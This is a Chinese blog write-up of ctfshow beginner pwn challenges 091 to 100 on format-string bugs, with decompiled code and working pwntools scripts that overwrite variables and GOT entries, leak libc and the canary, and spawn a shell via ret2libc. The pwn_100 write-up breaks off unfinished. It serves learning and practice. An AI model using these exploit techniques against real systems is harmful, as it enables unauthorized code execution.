2731 字
14 分钟
[学习篇 | ctfshow] pwn入门-格式化字符串

刷题#

pwn_091#

开始格式化字符串了,先来个简单的吧#

checksec查保护: image-20260419174747687

canaryNX保护

ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}
unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

有格式化字符串漏洞,并且获取shell的条件是我们需要让daniu的值变成6,

先看偏移量: image-20260419180135302

在第7个位置上,接下来我们利用printf+%ndaniu地址写入6个字节的数据:

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
daniu_addr = elf.sym['daniu']
log.success(f"daniu_addr: {hex(daniu_addr)}")
# p = p32(daniu_addr)
# p += b'aa'
# p += b'%7$n'
p = fmtstr_payload(7, {daniu_addr: 6})
sh.sendline(p)
sh.interactive()

pwn_092#

可能上一题没太看懂?来看下基础吧

checksec查保护:

image-20260419181027065

保护全开,ida反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("Here is some example:");
example();
flagishere();
return 0;
}
unsigned __int64 example()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Hello CTFshow %%\n");
puts("Hello CTFshow!");
printf("Num : %d\n", 114514);
printf("%s %s\n", "Format", "Strings");
printf("%12c\n", 65);
printf("%16s\n", "Hello");
printf("%12c%n\n", 65, &v1);
printf("%16s%n\n", "Hello!", &v1);
printf("%2$s %1$s\n", "Format", "Strings");
printf("%42c%1$n\n", &v1);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 flagishere()
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Enter your format string: ");
__isoc99_scanf("%9s", format);
printf("The flag is :");
printf(format, s);
return __readfsqword(0x28u) ^ v4;
}

运行看看: image-20260419181153327

输入%s打印字符即可.

pwn_093#

emmm,再来一道基础原理?

checksec查保护:

image-20260419181814016

64位程序,保护全开,ida反编译:

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
menu();
puts("Enter your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
func1();
break;
case 2:
func2();
break;
case 3:
func3();
break;
case 4:
func4();
break;
case 5:
func5();
break;
case 6:
nothing_here();
break;
case 7:
exit0();
break;
default:
puts("Invalid choice. Please enter a valid option.");
break;
}
return 0;
}
int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
{
return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
}
unsigned __int64 exit0()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("%s", s);
return __readfsqword(0x28u) ^ v3;
}

输入7即可.

pwn_094#

好了,你已经学会1+1=2了,接下来继续加油吧

checksec查保护: image-20260419182454803

32位程序,NX保护开启,ida反编译:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
}
void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}
void sys()
{
system("echo Write here!");
}

循环向buf中写入最大0x64字节的数据,然后通过printf打印出来,这里就有格式化字符串漏洞,并且给了一个sys()函数,思路是利用格式化字符串修改下一个循环调用printf()改为调用system(),也就是将printf_got指向改为system_plt,再传入/bin/sh即可.

先看看偏移:

image-20260419183225448

在第6个位置.

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
printf_got = elf.got['printf']
system_plt = elf.plt['system']
# p = fmtstr_payload(6, {printf_got: system_plt})
offset = 6
low_val = system_plt & 0xffff
hign_val = (system_plt >> 16) & 0xffff
wait_1 = low_val - 8
wait_2 = (hign_val - low_val) & 0xffff
p = p32(printf_got)
p += p32(printf_got + 2)
p += f"%{wait_1}c%{offset}$hn".encode()
p += f"%{wait_2}c%{offset + 1}$hn".encode()
sh.sendline(p)
sh.sendline(b'/bin/sh\x00')
sh.interactive()

pwn_095#

加大了一点点难度,不过对你来说还是so easy 吧

checksec查保护:

image-20260419184950652

32位程序,开启了NX保护,ida反编译:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
}
void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]
v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
fflush(stdout);
}
}

没有system函数,加入了一个fflush函数,其会强制将缓冲区中的内容立即输出到屏幕.可以尝试泄露函数got的地址,然后计算出libc的基址,从而获取system的地址,将printf或者fflush修改位system.

首先确定偏移:

image-20260419190824783

为第六个参数.

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
libc = ELF('/usr/lib32/libc.so.6')
printf_got = elf.got['printf']
libc_main_got = elf.got['__libc_start_main']
offset = 6
p = p32(printf_got)
p += b"%6$s"
sh.sendline(p)
printf_addr = u32(sh.recvuntil(b"\xf7")[-4: ])
p = p32(libc_main_got)
p += b"%6$s"
sh.sendline(p)
libc_main_addr = u32(sh.recvuntil(b"\xf7")[-4: ])
log.success(f"printf_addr: {hex(printf_addr)}, libc_main_addr: {hex(libc_main_addr)}")
# sh.sendline(b'/bin/sh\x00')
# libc = LibcSearcher('printf', printf_addr)
# libc.add_condition('__libc_start_main', libc_main_addr)
# libc_base = printf_addr - libc.dump('printf')
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
p = fmtstr_payload(offset, {printf_got: system_addr})
sh.sendline(p)
sh.sendline(b"/bin/sh\x00")
sh.interactive()

pwn_096#

先找一下偏移

checksec查一下保护:

image-20260419193903527

32位程序,开启了NX保护,ida反编译一下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s_1[64]; // [esp+0h] [ebp-90h] BYREF
char s[64]; // [esp+40h] [ebp-50h] BYREF
FILE *stream; // [esp+80h] [ebp-10h]
char *s_2; // [esp+84h] [ebp-Ch]
int *p_argc; // [esp+88h] [ebp-8h]
p_argc = &argc;
setvbuf(stdout, nullptr, 2, 0);
s_2 = s_1;
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts(asc_8048830);
puts(asc_80488A4);
puts(asc_8048920);
puts(asc_80489AC);
puts(asc_8048A3C);
puts(asc_8048AC0);
puts(asc_8048B54);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Flag on the stack! ");
puts(" * ************************************* ");
puts("It's time to learn about format strings!");
puts("Where is the flag?");
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s_1, 64, stream);
while ( 1 )
{
printf("$ ");
fgets(s, 64, stdin);
printf(s);
}
}

flag在栈上,并且比s先一步存储在栈上,所以我们可以尝试通过格式化字符串%p打印栈上的数据,获取flag.

image-20260419212416198

可以看道,从第6个开始,是flagasciihex的小端序数据,解码:

#!/usr/bin/env python3
from pwn import *
nums = [
0x67616c66,
0x6968747b,
0x73695f73,
0x6165725f,
0x665f796c,
0x7d67616c
]
for num in nums:
print(f"{p32(num).decode()}", end = '')

pwn_097#

覆写某个值满足某条件好像就可以了

checksec查保护:

image-20260419213251277

开启了canarynx保护,ida反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [esp+10h] [ebp-4Ch] BYREF
unsigned int v5; // [esp+50h] [ebp-Ch]
int *p_argc; // [esp+54h] [ebp-8h]
p_argc = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, nullptr, 2, 0);
puts(asc_8048A64);
puts(asc_8048AD8);
puts(asc_8048B54);
puts(asc_8048BE0);
puts(asc_8048C70);
puts(asc_8048CF4);
puts(asc_8048D88);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Format_String ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Find a way to elevate your privileges! ");
puts(" * ************************************* ");
puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
putchar(36);
fgets(s, 64, stdin);
if ( strstr(s, "shutdown") )
{
puts("See you~");
exit(1);
}
if ( !strstr(s, "cat /ctfshow_flag") )
{
puts("Here you are:\n");
printf(s);
}
get_flag();
return 0;
}
int get_flag()
{
if ( !check )
return puts("Permission denied.");
puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
return flag();
}
int flag()
{
FILE *stream; // [esp+8h] [ebp-40h]
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory");
exit(0);
}
fgets(s, 48, stream);
printf("%s", s);
return 0;
}

接收64字节s,然后进行字符串匹配,如果没有cat /ctfshow_flag,则触发格式化字符串漏洞,进入到get_flag函数,同时,会检测check的值,如果为1,则会执行flag.

思路明了了,利用格式化字符串漏洞修改check的值为1即可.

先确定偏移: image-20260419214455356

在第11个位置上

exp

#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
check_addr = elf.sym['check']
offset = 11
p = fmtstr_payload(offset, {check_addr: 1})
sh.sendline(p)
sh.interactive()

pwn_098#

Canary?有没有办法绕过呢?

checksec查保护:

image-20260419214702589

32位程序,开启了canaryNX保护,ida反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}
unsigned int ctfshow()
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
gets(s);
printf(s);
gets(s);
return __readgsdword(0x14u) ^ v2;
}

标准的栈溢出+格式化字符串漏洞,思路是先利用格式化字符串漏洞泄露canary的值,然后再打ret2libc,计算偏移:

image-20260419215049759

在第六个位置上,我们再寻找canary再栈上的第几个位置: image-20260419215353345

距离栈顶为(0xd0-0x0c),也就是在栈上第15的位置上,检验一下:

image-20260419220017436

canary泄露出来之后,我们尝试泄露libc的地址,:

第一次没看见还有个后门函数,不过问题不大,通过格式化字符串泄露got表的真实地址,然后泄露出libc的基地址即可.

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")
# sh = remote("ip", port)
elf = ELF('./pwn')
rop = ROP('./pwn')
libc = ELF('/usr/lib32/libc.so.6')
log.info("===============================steg1: leaking canary ==================================")
printf_got = elf.got['printf']
gets_got = elf.got['gets']
ret_addr = rop.find_gadget(['ret'])[0]
back_door = 0x080486CE
p = p32(printf_got) + p32(gets_got)
p += b"|%5$s"
p += b"|%6$s"
p +=b"|%15$p"
sh.recvuntil(b"then exploit it !")
sh.sendline(p)
# gdb.attach(sh)
sh.recvuntil(b"|")
printf_addr = u32(sh.recvuntil(b'\xf7')[-4:])
sh.recvuntil(b"|")
gets_addr = u32(sh.recvuntil(b'\xf7')[-4:])
sh.recvuntil(b"|")
canary = int(sh.recv(), 16)
log.success(f"canary: {hex(canary)}")
log.info("=================================steg2: leaking libc========================================")
# libc = LibcSearcher("printf", printf_addr)
# libc.add_condition("gets", gets_addr)
# libc_base = printf_addr - libc.dump("printf")
# system_addr = libc_base + libc.dump("system")
# bin_sh = libc_base + libc.dump("str_bin_sh")
libc_base = printf_addr - libc.sym["printf"]
system_addr = libc_base + libc.sym["system"]
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
log.success(f"libc_base: {hex(libc_base)}, system_addr: {hex(system_addr)}")
offset = 0x34 - 0x0c
p = b"A" * offset
p += p32(canary)
p += b"B" * 0xc
# p += p32(back_door)
p += p32(system_addr)
p += p32(ret_addr)
p += p32(bin_sh)
sh.sendline(p)
sh.interactive()

pwn_099#

fmt盲打(不是忘记放附件,是本身就没附件!!!)

pwn_100#

有些东西好像需要一定条件

checksec查保护:

image-20260420154257586

64位程序,保护全开 ,ida反编译

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-14h] BYREF
int v4; // [rsp+10h] [rbp-10h] BYREF
unsigned int n2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
initial(argc, argv, envp);
whattime();
v3 = 0;
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
n2 = get_int();
if ( n2 != 2 )
break;
fmt_attack(&v3);
}
if ( n2 > 2 )
break;
if ( n2 == 1 )
leak(&v4);
}
if ( n2 == 3 )
get_flag();
if ( n2 == 4 )
{
puts("Bye!");
exit(0);
}
}
}
unsigned __int64 __fastcall initial(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 0);
setvbuf(stderr, nullptr, 2, 0);
fd = open("/dev/urandom", 0);
if ( read(fd, secret, 0x40u) < 0 )
{
puts("read error!");
exit(1);
}
close(fd);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 whattime()
{
__int64 v1; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h] BYREF
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Hello my bro.");
printf("What time is it :");
_isoc99_scanf("%ld", &v1);
_isoc99_scanf("%ld", &v2);
_isoc99_scanf("%ld", &v3);
printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3);
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("1. leak");
puts("2. fmt_attack");
puts("3. get_flag");
puts("4. exit");
printf(">>");
return __readfsqword(0x28u) ^ v1;
}
int get_int()
{
char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v2; // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0;
v2 = 0;
read_n(nptr, 15);
return atoi(nptr);
}
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(format, 0, 0x30u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40);
printf(format);
return __readfsqword(0x28u) ^ v3;
}
void __noreturn get_flag()
{
int fd; // [rsp+Ch] [rbp-64h]
char s2[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s2, 0, 0x50u);
puts("Flag is here ! Come on !!");
read_n(s2, 64);
if ( !strncmp(secret, s2, 0x40u) )
{
close(1);
fd = open("/flag", 0);
read(fd, s2, 0x50u);
printf(s2);
exit(0);
}
puts("No way!");
exit(1);
}
unsigned __int64 __fastcall leak(int *a1)
{
void *buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n((char *)&buf, 8);
write(1, buf, 1u);
return __readfsqword(0x28u) ^ v3;
}

获取flag的函数位get_flag(),但是需要我们输入一个与secret相同的字符串才能获取到flag,而secret是由/dev/urandom生成的.leak函数可以泄露栈上8字节的数据,fmt_attack则是一个格式化字符串漏洞.思路就是

[学习篇 | ctfshow] pwn入门-格式化字符串
https://blog.ne0xsec.cn/posts/pwn-beginner-formatted-strings/
作者
序章
发布于
2026-04-19
许可协议
CC BY-NC-SA 4.0

分享文章

生成精美分享图或复制链接,与更多人分享本文。

继续阅读

沿着主题读

基于共同的标签与分类

换条路线

从其他文章中稳定抽取

评论

正在加载评论...

最后更新于 ,距今已过 153

部分内容可能已过时